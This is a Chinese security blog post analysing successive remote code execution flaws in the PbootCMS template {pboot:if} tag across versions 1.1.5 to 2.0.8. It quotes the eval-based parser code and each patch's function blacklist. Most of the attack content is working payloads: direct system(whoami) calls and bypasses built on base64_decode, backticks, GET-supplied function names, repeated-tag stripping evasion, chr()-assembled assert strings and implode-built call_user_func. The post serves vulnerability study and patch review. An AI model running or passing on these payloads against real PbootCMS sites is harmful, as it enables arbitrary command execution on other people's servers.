phpinfo函数无法执行_PbootCMS任意代码执行的前世今生

a4954eea968492deb053a5d6d4f4cf69.png

PbootCMS (v1.1.5及其以下)

漏洞复现

6d04a64291c676bc39078c83ea03847d.png
poc:{pboot:if(system(whoami))}{/pboot:if}

漏洞分析

漏洞点位于/apps/home/controller/ParserController.php

    public function parserIfLabel($content)    {        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';        $pattern2 = '/pboot:([0-9])+if/';        if (preg_match_all($pattern, $content, $matches)) {            $count = count($matches[0]);            for ($i = 0; $i < $count; $i ++) {                $flag = '';                $out_html = '';                // 对于无参数函数不执行解析工作                if (preg_match('/[w]+()/', $matches[1][$i])) {                    continue;                }                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');                ......

这里有通过两个正则表达式后即可进入eval函数且$content是可控的第一个正则表达式限制格式格式必须为{pboot:if(payload)}{/pboot:if}形式第二个正则表达式不允许出现字母后面加()的情况,如phpinfo()这里很好绕过,比如phpinfo(1),system(任意命令)

PbootCMS (v1.1.6-v1.1.8)

漏洞分析

从1.1.6对之前存在的任意代码执行漏洞进行了修补,增加了部分函数黑名单,代码如下

public function parserIfLabel($content)    {        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';        $pattern2 = '/pboot:([0-9])+if/';        if (preg_match_all($pattern, $content, $matches)) {            // IF语句需要过滤的黑名单            $black = array(                'chr',                'phpinfo',                'eval',                'passthru',                'exec',                'system',                'chroot',                'scandir',                'chgrp',                'chown',                'shell_exec',                'proc_open',                'proc_get_status',                'error_log',                'ini_alter',                'ini_set',                'ini_restore',                'dl',                'pfsockopen',                'syslog',                'readlink',                'symlink',                'popen',                'stream_socket_server',                'putenv',                'unlink',                'path_delete',                'rmdir',                'session',                'cookie',                'mkdir',                'create_dir',                'create_file',                'check_dir',                'check_file'            );            $count = count($matches[0]);            for ($i = 0; $i < $count; $i ++) {                $flag = '';                $out_html = '';                $danger = false;                foreach ($black as $value) {                    if (preg_match('/' . $value . '([s]+)?(/i', $matches[1][$i])) {                        $danger = true;                        break;                    }                }                // 如果有危险字符,则不解析该IF                if ($danger) {                    continue;                }                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

显然黑名单有漏网之鱼,但是由于将单引号、双引号都进行了html实体转义让很多函数不能使用,但是依然有可以用的,如base64_decode,反引号等

payload1{pboot:if(1);$a=base64_decode(c3lzdGVt);$a(whoami);//)}{/pboot:if}
8fe4a5244eb9d04319ddf527e7a179d9.png
payload2{pboot:if(var_dump(`whoami`))}{/pboot:if}
d0135fb099e2fc9447990b5344bcfdfb.png

PbootCMS(v1.1.9-v1.3.2)

发现黑名单有不足于是改成了白名单,代码如下

public function parserIfLabel($content)    {        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';        $pattern2 = '/pboot:([0-9])+if/';        if (preg_match_all($pattern, $content, $matches)) {            $count = count($matches[0]);            for ($i = 0; $i < $count; $i ++) {                $flag = '';                $out_html = '';                $danger = false;                $white_fun = array(                    'date'                );                // 不允许执行带有函数的条件语句                if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {                    foreach ($matches2[1] as $value) {                        if (function_exists($value) && ! in_array($value, $white_fun)) {                            $danger = true;                            break;                        }                    }                }                // 如果有危险字符,则不解析该IF                if ($danger) {                    continue;                } else {                    $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串                }                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');                ......

如果我们能绕过function_exists的检测就行了网上有师傅给了如下绕过思路

581f4a365a01548fcaffe169030155a6.png
payload1{pboot:if(system(whoami));//)}{/pboot:if}
8659554278c725125f4f9770d66a9741.png
payload2{pboot:if(1);$a=$_GET[cmd];$a(whoami);//)}{/pboot:if}&cmd=system
24f43613e6affaf8226d8901f184ea13.png

后面的版本添加了正则匹配eval,其实也没啥用,上面两个payload一样可以用

PbootCMS(v1.3.3-v2.0.2)

过滤了特殊字符导致使用非交互式直接执行任意代码的时代结束

8e0207923e63944e5624473f50f1a508.png

然而留言部分仍然存在任意代码执行,代码如下

public function parserIfLabel($content)    {        $pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';        $pattern2 = '/pboot:([0-9])+if/';        if (preg_match_all($pattern, $content, $matches)) {            $count = count($matches[0]);            for ($i = 0; $i < $count; $i ++) {                $flag = '';                $out_html = '';                $danger = false;                $white_fun = array(                    'date',                    'in_array',                    'explode',                    'implode'                );                // 还原可能包含的保留内容,避免判断失效                $matches[1][$i] = $this->restorePreLabel($matches[1][$i]);                // 解码条件字符串                $matches[1][$i] = decode_string($matches[1][$i]);                // 带有函数的条件语句进行安全校验                if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {                    foreach ($matches2[1] as $value) {                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {                            $danger = true;                            break;                        }                    }                }                // 不允许从外部获取数据                if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)/i', $matches[1][$i])) {                    $danger = true;                }                // 如果有危险函数,则不解析该IF                if ($danger) {                    continue;                }                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过

payload{pboot:if(system (whoami))}{/pboot:if}
a661b6a7a07c4db366a7698a8059d25c.png

PbootCMS(v2.0.3)

增加了外部获取数据过滤部分,代码如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {                    $danger = true;                }

并不影响我们使用system函数,提交上一个版本payload,发现pboot:if被删掉了

940f53883fa74971f86e37bc16cc9de2.png

在apps/home/controller/IndexController.php里第270行使用了将pboot:if替换为空

d0135fb099e2fc9447990b5344bcfdfb.png

所以直接双写绕过

payload{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
fbe56176dbc55857c2d730dd3399e731.png

PbootCMS(v2.0.4-v2.0.7)

使用上一个版本payload,发下双写也被过滤了

f046a27ce1f27513ebd471bf32356d9b.png

改动的地方位于/core/basic/Model.php,增加了如下代码

ceef6e4c09467926f4bfb468bbbff4a2.png

也就是再过滤了一次pboot:if,然而这种替换为空是根本没用的,于是三重写绕过,但是v2.0.4还增加了正则黑名单的过滤,禁用了system等函数,代码如下正则匹配黑名单加强,代码如下

if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {                    $danger = true;                }

发现漏掉了assert函数,没用过滤chr函数,所以直接拼接绕过

payload{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}
bedd5389b88dbdcdd7684daa1152fa0c.png

PbootCMS(v2.0.8)

从v2.0.8开始采用递归替换pboot:if,位于/app/home/controller/MessageController.php第61行

$field_data = preg_replace_r('/pboot:if/i', '', $field_data);

跟进一下,位于/core/function/handle.php

function preg_replace_r($search, $replace, $subject){    while (preg_match($search, $subject)) {        $subject = preg_replace($search, $replace, $subject);    }    return $subject;}

这样就无法采用双写绕过了,正则表达式处改动了,导致函数+空格被过滤,代码如下

if (preg_match_all('/([w]+)([s]+)?(/i', $matches[1][$i], $matches2)) {                    foreach ($matches2[1] as $value) {                        if (function_exists($value) && ! in_array($value, $white_fun)) {                            $danger = true;                            break;                        }                    }                }

后台不会经过preg_replace函数的处理,使用的白名单里implode函数仍然可以实现任意代码执行

payload{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}
6f603876d2e4a29d324065d030fbb36a.png

后记

PbootCMS的最新版本v3.0.1已经发布修复了该漏洞,从v1.0.1最开始的第一个版本到v2.0.9历时2年经过不断的漏洞修复,但是每次修复后就被绕过,不由得引发一系列反思

本文由ghtwf01原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/212603

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值